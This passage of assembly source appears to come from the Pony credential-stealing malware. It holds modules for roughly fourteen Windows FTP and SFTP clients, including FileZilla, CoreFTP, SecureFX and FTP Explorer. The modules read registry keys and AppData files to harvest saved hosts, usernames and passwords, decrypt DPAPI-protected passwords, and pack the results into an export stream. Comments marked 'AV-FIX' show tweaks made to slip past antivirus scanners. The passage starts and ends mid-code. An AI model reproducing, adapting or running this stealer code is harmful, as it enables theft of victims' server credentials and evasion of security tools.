hdr_ofs, eax invoke FileZillaScanReg, stream, offset CFileZillaRegPath1 invoke RegReadValueStr, dwCurrentUserKey, offset CFileZillaRegPath1, offset CFileZillaRegValue, NULL .IF eax push eax invoke FileZillaGrabFiles, stream, eax call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset CFileZillaRegPath2, offset szNULL, NULL .IF eax push eax invoke FileZillaGrabFiles, stream, eax call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CFileZillaRegPath1, offset CFileZillaRegValue, NULL .IF eax push eax invoke FileZillaGrabFiles, stream, eax call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CFileZillaRegPath2, offset szNULL, NULL .IF eax push eax invoke FileZillaGrabFiles, stream, eax call MemFree .ENDIF invoke FileZillaCommonGrab, stream, CSIDL_APPDATA invoke FileZillaCommonGrab, stream, CSIDL_COMMON_APPDATA invoke FileZillaCommonGrab, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFileZilla endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Commander ; http://www.internet-soft.com/ftpcomm.htm ; Tested: FTP Commander Free 8.02 / Deluxe 9.2 / Pro 8.03 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPCOMMANDER .data CFTPCommanderUninst1 db 'FTP Navigator',0 CFTPCommanderUninst2 db 'FTP Commander',0 CFTPCommanderIniMask db 'ftplist.txt',0 .code GrabFTPCommander proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPCOMMANDER, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFTPCommanderUninst1 .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CFTPCommanderIniMask, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StrStrI, edi, offset CFTPCommanderUninst2 .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CFTPCommanderIniMask, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPCommander endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; BulletProof FTP ; http://www.bpftp.com/products/bpftpclient/windows/download ; Tested: Version 2010.75.0.75 ; Tested: Version 2010.75.0.76 ; SFTP: not supported IFDEF COMPILE_MODULE_BULLETPROOF .data CBullerAppDataDir db '\BulletProof Software',0 CBulletDatMask db '.dat',0 CBulletBpsMask db '.bps',0 CBulletRegPath1 db 'Software\BPFTP\Bullet Proof FTP\Main',0 CBulletRegPath2 db 'Software\BulletProof Software\BulletProof FTP Client\Main',0 CBulletRegPath3 db 'Software\BPFTP\Bullet Proof FTP\Options',0 CBulletRegPath4 db 'Software\BulletProof Software\BulletProof FTP Client\Options',0 CBulletRegPath5 db 'Software\BPFTP',0 CBulletRegValue1 db 'LastSessionFile',0 CBulletRegValue2 db 'SitesDir',0 CBulletRegValue3 db 'InstallDir1',0 .code BulletProofRecScan proc stream, file_path invoke CommonFileScan, stream, file_path, offset CBulletDatMask, ITEMHDR_ID or 0 invoke CommonFileScan, stream, file_path, offset CBulletBpsMask, ITEMHDR_ID or 1 ret BulletProofRecScan endp BulletProofCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CBullerAppDataDir push eax invoke BulletProofRecScan, stream, eax call MemFree .ENDIF ret BulletProofCommonFileScan endp GrabBulletProof proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BULLETPROOF, 0 mov hdr_ofs, eax ; bps file path in registry invoke RegReadValueStr, dwCurrentUserKey, offset CBulletRegPath1, offset CBulletRegValue1, NULL .IF eax push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset CBulletRegPath2, offset CBulletRegValue1, NULL .IF eax push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree .ENDIF ; dat directory path in registry invoke RegReadValueStr, dwCurrentUserKey, offset CBulletRegPath3, offset CBulletRegValue2, NULL .IF eax push eax invoke BulletProofRecScan, stream, eax call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset CBulletRegPath4, offset CBulletRegValue2, NULL .IF eax push eax invoke BulletProofRecScan, stream, eax call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset CBulletRegPath5, offset CBulletRegValue3, NULL .IF eax push eax invoke BulletProofRecScan, stream, eax call MemFree .ENDIF invoke BulletProofCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke BulletProofCommonFileScan, stream, CSIDL_APPDATA invoke BulletProofCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBulletProof endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; SmartFTP 2.x-4.x ; http://www.smartftp.com/ ; Tested: SmartFTP 4.0, build 1207 ; Tested: SmartFTP 4.0, build 1245 ; SFTP: not implemented IFDEF COMPILE_MODULE_SMARTFTP .data CSmartFTPXmlMask db '.xml',0 CSmartFTPAppDataDir db '\SmartFTP',0 CSmartFTPFavMask db 'Favorites.dat',0 CSmartFTPHistMask db '_istory.dat',0 .code SmartFTPCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CSmartFTPAppDataDir push eax push eax push eax invoke CommonFileScan, stream, eax, offset CSmartFTPXmlMask, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CSmartFTPFavMask, ITEMHDR_ID or 1 pop eax invoke CommonFileScan, stream, eax, offset CSmartFTPHistMask, ITEMHDR_ID or 2 call MemFree .ENDIF ret SmartFTPCommonFileScan endp GrabSmartFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_SMARTFTP, 0 mov hdr_ofs, eax mov byte ptr[CSmartFTPHistMask], 'H' invoke SmartFTPCommonFileScan, stream, CSIDL_APPDATA invoke SmartFTPCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke SmartFTPCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSmartFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; TurboFTP ; http://www.turboftp.com/ ; Tested: V 6.30 Build 872 ; Tested: V 6.30 Build 889 x64 ; Tested: V 6.30 Build 912 x64 ; SFTP: implemented IFDEF COMPILE_MODULE_TURBOFTP .data CTurboFTPDatMask db '_ddrbk.dat',0 CTurboFTPQuickMask db 'quick.dat',0 CTurboFTPAppDataDir db '\TurboFTP',0 CTurboFTPRegPath db 'Software\TurboFTP',0 CTurboFTPRegValue db 'installpath',0 .code TurboFTPScanFiles proc stream, file_mask, item_type invoke RegReadValueStr, dwCurrentUserKey, offset CTurboFTPRegPath, offset CTurboFTPRegValue, NULL .IF eax push eax invoke CommonFileScan, stream, eax, file_mask, item_type call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CTurboFTPRegPath, offset CTurboFTPRegValue, NULL .IF eax push eax invoke CommonFileScan, stream, eax, file_mask, item_type call MemFree .ENDIF invoke AppDataCommonFileScan, stream, offset CTurboFTPAppDataDir, file_mask, item_type ret TurboFTPScanFiles endp GrabTurboFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_TURBOFTP, 0 mov hdr_ofs, eax mov byte ptr[CTurboFTPDatMask], 'a' invoke TurboFTPScanFiles, stream, offset CTurboFTPDatMask, ITEMHDR_ID or 0 invoke TurboFTPScanFiles, stream, offset CTurboFTPQuickMask, ITEMHDR_ID or 1 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTurboFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FFFTP ; http://www2.biglobe.ne.jp/sota/ffftp-e.html ; Tested: Version 1.97b ; SFTP: not supported IFDEF COMPILE_MODULE_FFFTP .data CFFFTPRegPath db 'Software\Sota\FFFTP',0 CFFFTPRegCredSalt db 'CredentialSalt',0 CFFFTPRegCredCheck db 'CredentialCheck',0 CFFFTPRegOptionsPath db 'Software\Sota\FFFTP\Options',0 CFFFTPRegValuePassword db 'Password',0 CFFFTPRegValueUserName db 'UserName',0 CFFFTPRegValueHost db 'HostAdrs',0 CFFFTPRegValueRemDir db 'RemoteDir',0 CFFFTPRegValuePort db 'Port',0 .code FFFTPScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL RemDir: DWORD LOCAL Port: DWORD LOCAL dwPortLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CFFFTPRegValuePassword, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFFFTPRegValueHost, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFFFTPRegValueUserName, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFFFTPRegValueRemDir, NULL mov RemDir, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFFFTPRegValuePort, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Dir | Port invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteString, stream, RemDir invoke StreamWriteDWORD, stream, Port .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, RemDir invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FFFTPScanReg endp GrabFFFTP proc stream LOCAL hdr_ofs: DWORD LOCAL regdata_len: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FFFTP, 0 mov hdr_ofs, eax ; CredentialSalt invoke RegReadValueStr, dwCurrentUserKey, offset CFFFTPRegPath, offset CFFFTPRegCredSalt, addr regdata_len .IF eax push eax invoke CommonAppendData, stream, eax, regdata_len, ITEMHDR_ID or 1 call MemFree .ENDIF ; CredentialCheck invoke RegReadValueStr, dwCurrentUserKey, offset CFFFTPRegPath, offset CFFFTPRegCredCheck, addr regdata_len .IF eax push eax invoke CommonAppendData, stream, eax, regdata_len, ITEMHDR_ID or 2 call MemFree .ENDIF ; Find passwords invoke FFFTPScanReg, stream, offset CFFFTPRegOptionsPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFFFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CoffeeCupFTP ; SFTP: not supported IFDEF COMPILE_MODULE_COFFEECUPFTP .data CCoffeeCupFTPHost db 'HostName',0 CCoffeeCupFTPPort db 'Port',0 CCoffeeCupFTPUsername db 'Username',0 CCoffeeCupFTPPassword db 'Password',0 CCoffeeCupFTPDir db 'HostDirName',0 CCoffeeCupFTPBasePath db 'Software\CoffeeCup Software\Internet\Profiles',0 .code CoffeeFTPScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoffeeCupFTPPassword, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoffeeCupFTPHost, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoffeeCupFTPPort, NULL mov Port, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoffeeCupFTPUsername, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoffeeCupFTPDir, NULL mov Dir, eax .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Port | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteString, stream, Port invoke StreamWriteString, stream, Dir .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, Port invoke MemFree, Dir ; recursively scan subfolders invoke CoffeeFTPScanReg, stream, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret CoffeeFTPScanReg endp GrabCoffeeCupFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_COFFEECUPFTP, 0 mov hdr_ofs, eax invoke CoffeeFTPScanReg, stream, addr CCoffeeCupFTPBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCoffeeCupFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CoreFTP ; http://www.coreftp.com/ ; Tested: CoreFTP LE/Pro 2.2, build 1687 ; Tested: CoreFTP LE/Pro 2.2, build 1747 ; SFTP: implemented IFDEF COMPILE_MODULE_COREFTP .data CCoreFTPBasePath db 'Software\FTPWare\COREFTP\Sites',0 CCoreFTPHostValue db 'Host',0 CCoreFTPUserValue db 'User',0 CCoreFTPPortValue db 'Port',0 CCoreFTPPasswordValue db 'PW',0 CCoreFTPPathValue db 'PthR',0 CCoreFTPSSHValue db 'SSH',0 .code CoreFTPScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL RemDir: DWORD LOCAL Port: DWORD LOCAL SSH: DWORD LOCAL dwPortLen: DWORD LOCAL dwSSHLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf mov S, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPPasswordValue, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPHostValue, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPUserValue, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPPathValue, NULL mov RemDir, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPPortValue, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF invoke RegReadValueStr, dwCurrentUserKey, S, addr CCoreFTPSSHValue, addr dwSSHLen mov SSH, eax .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Port | Dir ; export data, type = 0010: Host | User | Pass | Port | Dir | SSH invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteDWORD, stream, Port invoke StreamWriteString, stream, RemDir .IF SSH && dwSSHLen == 4 mov eax, SSH invoke StreamWriteDWORD, stream, dword ptr[eax] .ELSE invoke StreamWriteDWORD, stream, 0 .ENDIF .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, RemDir invoke MemFree, SSH invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret CoreFTPScanReg endp GrabCoreFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_COREFTP, 0 mov hdr_ofs, eax invoke CoreFTPScanReg, stream, addr CCoreFTPBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCoreFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Explorer ; http://www.ftpx.com/ ; Tested: Version 9.11.9 (Build 005) ; Tested: Version 10.5.19 (Build 001) ; SFTP: not supported IFDEF COMPILE_MODULE_FTPEXPLORER .data CFTPExplorerXmlMask db 'profiles.xml',0 CFTPExplorerAppDataDir db '\FTP Explorer',0 CFTPExplorerRegPath db 'Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224',0 CFTPExplorerRegValue db 'Buttons',0 CFTPExplorerBasePath db 'Software\FTP Explorer\Profiles',0 CFTPExplorerPasswordValue db 'Password',0 CFTPExplorerPasswordTypeValue db 'PasswordType',0 CFTPExplorerHostValue db 'Host',0 CFTPExplorerUserValue db 'Login',0 CFTPExplorerPortValue db 'Port',0 CFTPExplorerPathValue db 'InitialPath',0 .code FTPExplorerScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL RemDir: DWORD LOCAL Port: DWORD LOCAL dwPortLen: DWORD LOCAL PasswordType: DWORD LOCAL dwPasswordTypeLen: DWORD LOCAL dwPasswordLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf mov S, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerPasswordValue, addr dwPasswordLen mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerHostValue, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerUserValue, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerPathValue, NULL mov RemDir, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerPortValue, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] .ELSE mov Port, 21 .ENDIF invoke MemFree, eax ; Password type invoke RegReadValueStr, dwCurrentUserKey, S, addr CFTPExplorerPasswordTypeValue, addr dwPasswordTypeLen .IF eax && dwPasswordTypeLen == 4 m2m PasswordType, dword ptr[eax] .ELSE mov PasswordType, 0 .ENDIF invoke MemFree, eax .IF Password && PasswordType == 2 invoke CommonCryptUnprotectData, Password, addr dwPasswordLen, NULL .IF !eax || !dwPasswordLen invoke MemFree, Password mov Password, NULL .ENDIF .ENDIF .IF Password && Host && User ; export data, type = 0002: Host | User | Pass | Port | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 2h invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteBinaryString, stream, Password, dwPasswordLen invoke StreamWriteDWORD, stream, Port invoke StreamWriteString, stream, RemDir .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, RemDir invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FTPExplorerScanReg endp GrabFTPExplorer proc stream LOCAL hdr_ofs: DWORD LOCAL dwDataLen: DWORD LOCAL lpData: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPEXPLORER, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFTPExplorerAppDataDir, offset CFTPExplorerXmlMask, ITEMHDR_ID or 0 invoke RegReadValueStr, dwCurrentUserKey, offset CFTPExplorerRegPath, offset CFTPExplorerRegValue, addr dwDataLen .IF eax mov lpData, eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteBinaryString, stream, lpData, dwDataLen invoke MemFree, lpData .ENDIF invoke FTPExplorerScanReg, stream, offset CFTPExplorerBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPExplorer endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Frigate3 FTP ; http://www.frigate3.com/rus/index.php ; Tested: Frigate 3.36 ; SFTP: implemented IFDEF COMPILE_MODULE_FRIGATEFTP .data CFrigateFTPXmlMask db 'FtpSite.xml',0 CFrigateFTPAppDataDir db '\Frigate3',0 .code GrabFrigateFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FRIGATEFTP, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFrigateFTPAppDataDir, offset CFrigateFTPXmlMask, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFrigateFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; SecureFX 6.6 ; http://www.vandyke.com/products/securefx/ ; Tested: Version 6.7.1 (build 188) x86 ; Tested: Version 6.7.3 (build 292) x64 ; Tested: Version 6.7.5 (build 441) x86 ; SFTP: implemented IFDEF COMPILE_MODULE_SECUREFX .data CSecureFXIniFileMask db '.ini',0 CSecureFXAppDataDir db '_VanDyke\Config\Sessions',0 ; AV-FIX CSecureFXConfigDir db '\Sessions',0 CSecureFXRegConfigPath db 'Software\VanDyke\SecureFX',0 CSecureFXRegConfigValue db 'Config Path',0 .code GrabSecureFX proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_SECUREFX, 0 mov hdr_ofs, eax mov byte ptr[CSecureFXAppDataDir], '\' ; AV-FIX invoke AppDataCommonFileScan, stream, offset CSecureFXAppDataDir, offset CSecureFXIniFileMask, ITEMHDR_ID or 0 invoke RegReadValueStr, dwCurrentUserKey, offset CSecureFXRegConfigPath, offset CSecureFXRegConfigValue, NULL .IF eax invoke PonyStrCatFreeArg1, eax, offset CSecureFXConfigDir push eax invoke CommonFileScan, stream, eax, offset CSecureFXIniFileMask, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSecureFX endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; UltraFXP 1.7 ; http://www.ultrafxp.com/ ; Tested: UltraFXP Free Edition v1.07 ; SFTP: implemented IFDEF COMPILE_MODULE_ULTRAFXP .data CUltraFXPInstallName db 'UltraFXP',0 CUltraFXPSitesFile db '\sites.xml',0 .code GrabUltraFXP proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ULTRAFXP, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CUltraFXPInstallName .IF eax invoke ExtractFilePath, esi invoke PonyStrCatFreeArg1, eax, offset CUltraFXPSitesFile push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabUltraFXP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTPRush 2.1.4, 2.1.5 ; http://www.wftpserver.com/ftprush.htm ; Tested: Version 2.1.5 UNICODE ; Tested: Version 2.1.8 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPRUSH .data CFTPRushAppDataDir db '\FTPRush',0 CFTPRushXmlFileMask db 'RushSite.xml',0 .code GrabFTPRush proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPRUSH, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFTPRushAppDataDir, offset CFTPRushXmlFileMask, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPRush endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WebSitePublisher 2.1.5 ; http://www.cryer.co.uk/downloads/websitepublisher/ ; Tested: Version 2.2.0 (Build 2697) ; SFTP: not supported IFDEF COMPILE_MODULE_WEBSITEPUBLISHER .data CWebSitePublisherServer db 'Server',0 CWebSitePublisherUser db 'Username',0 CWebSitePublisherPassword db 'Password',0 CWebSitePublisherPort db 'FtpPort',0 CWebSitePublisherBasePath db 'Software\Cryer\WebSitePublisher',0 .code WebSitePublisherScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL dwPortLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CWebSitePublisherPassword, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CWebSitePublisherServer, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CWebSitePublisherUser, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CWebSitePublisherPort, addr dwPortLen .IF eax && dwPortLen == 4 m2m Port, dword ptr[eax] invoke MemFree, eax .ELSE .IF eax invoke MemFree, eax .ENDIF mov Port, 21 .ENDIF .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Port invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteDWORD, stream, Port .ENDIF invoke 